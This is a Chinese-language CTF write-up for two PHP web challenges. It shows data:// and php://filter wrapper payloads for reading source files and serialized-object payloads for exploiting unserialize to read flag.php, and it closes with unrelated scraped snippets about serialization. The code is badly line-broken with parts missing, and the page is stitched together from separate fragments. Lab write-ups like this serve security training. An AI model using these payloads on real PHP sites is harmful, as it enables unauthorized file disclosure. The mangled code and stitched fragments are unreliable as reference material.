主頁是一段php**,審計:
有file_get_content(),可以利用偽協議寫入『welcome to the zjctf '過判斷;
同時看到提示有useless.php ,可以利用include()讀一下檔案
構造payload:
?text=data:text/plain,welcome%20to%20the%20zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php得到base64原始碼:
解碼審計:
<?php
class
flag}}
?>
構造序列化:
$a
=new
flag()
;$a->
file
='flag.php'
;echo
serialize($a
);
得到最終payload:
?text=data:text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=o:4:「flag」:1:結果在原始碼裡
題目上來給原始碼,審:
<?php
include
("flag.php");
highlight_file
(__file__);
class
filehandler
public
function
process()
elseif(
$this
->
op==
"2")
else
}private
function
write()
$res
=file_put_contents
($this
->
filename
,$this
->
content);
if($res
)$this
->
output
("successful!");
else
$this
->
output
("failed!");
}else
}private
function
read()
return
$res;}
private
function
output($s
)function
__destruct()
}function
is_valid($s
)if(isset
($_get))
}
讀原始碼後可以發現,題目獲取乙個引數str,如果符合規則函式is_valid,則進行反序列化操作,所以題目考點就是兩個,乙個是繞過is_valid驗證方法,乙個是利用反序列化執行命令或讀取檔案獲得flag。
再看反序列化方法:
function
__destruct()
首先對比了op字元,如果為2,則op改為為1,再執行process方法。
public
function
process()
elseif(
$this
->
op==
"2")
else
}
process方法在op等於2時,讀取filename檔案的內容並輸出。這裡還考察了=== 和 ==的區別,乙個是強型別比較,乙個是弱型別比較。
明白邏輯後,構造payload:
<?php
class
filehandler
$file
=new
filehandler()
;$file
-> op =2;
$file
-> filename =
"flag.php"
;$file
-> content ="";
echo
serialize
($file);
?>
flag在原始碼裡:
CTF中的序列化與反序列化
記一些ctf出現的序列化與反序列化的知識點和題目。序列化和反序列化的概念 序列化就是將物件轉換成字串。字串包括 屬性名 屬性值 屬性型別和該物件對應的類名。反序列化則相反將字串重新恢復成物件。物件的序列化利於物件的儲存和傳輸,也可以讓多個檔案共享物件。序列化中常見的魔法函式 construct 建立...
CTF中的序列化與反序列化
學習於 序列化就是將物件轉換成字串。字串包括 屬性名 屬性值 屬性型別和該物件對應的類名。反序列化則相反將字串重新恢復成物件。物件的序列化利於物件的儲存和傳輸,也可以讓多個檔案共享物件。construct 建立物件時呼叫 destruct 銷毀物件時呼叫 tostring 當乙個物件被當作乙個字串使...
C 匿名型別序列化 反序列化
現在提倡前後端分離,分離後服務全部採用介面的方式給前端提供服務,當我們處理自定義查詢時必定會多表查詢,而處理多表查詢時我們又懶的去建view model,建的過多專案也凌亂的很,所以在dao層處理自定義查詢時採用匿名型別返回json。listodata new list odata.add new ...